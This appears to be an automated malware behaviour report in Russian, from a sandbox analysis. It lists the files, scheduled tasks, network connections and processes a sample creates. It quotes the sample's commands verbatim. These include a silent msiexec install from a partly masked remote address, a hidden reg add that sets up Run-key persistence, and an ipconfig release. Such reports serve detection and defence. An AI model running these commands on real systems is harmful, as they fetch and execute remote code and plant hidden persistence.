Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\new task
- <SYSTEM32>\tasks\new task #1
- <SYSTEM32>\tasks\new task #2
Вредоносные функции
Создает и запускает на исполнение
- '<SYSTEM32>\msiexec.exe' /i http://15#.#01.83.175:3989/@ /qn
Изменения в файловой системе
Создает следующие файлы
- C:\path\tiles\3.bin
- C:\path\tiles\aperfectday.exe
- C:\path\tiles\aperfectdaybase.dll
Изменяет следующие файлы
- %LOCALAPPDATA%\microsoft\windows\usrclass.dat.log1
- %LOCALAPPDATA%\microsoft\windows\usrclass.dat
Сетевая активность
Подключается к
- '15#.#01.83.175':3989
TCP
Запросы HTTP GET
- http://15#.##1.83.175:3989/@ via 15#.#01.83.175
Другое
Создает и запускает на исполнение
- 'C:\path\tiles\aperfectday.exe'
Запускает на исполнение
- '<SYSTEM32>\taskeng.exe' {EEA00CA5-18BE-4C53-87F7-F65F2A124A0B} S-1-5-21-3691498038-2086406363-2140527554-1000:ngcrptx\user:Interactive:[1]
- '<SYSTEM32>\cmd.exe' /c start /min ipconfig /release & start /min timeout /t 3 && start explorer "C:\Path\Tiles\APerfectDay.exe" (со скрытым окном)
- '<SYSTEM32>\ipconfig.exe' /release
- '<SYSTEM32>\timeout.exe' /t 3
- '%WINDIR%\explorer.exe' "C:\Path\Tiles\APerfectDay.exe"
- '<SYSTEM32>\cmd.exe' /c reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Company Office" /t REG_SZ /d "C:\Path\Tiles\APerfectDay.exe" /f (со скрытым окном)
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Company Office" /t REG_SZ /d "C:\Path\Tiles\APerfectDay.exe" /f
- 'C:\path\tiles\aperfectday.exe' (со скрытым окном)
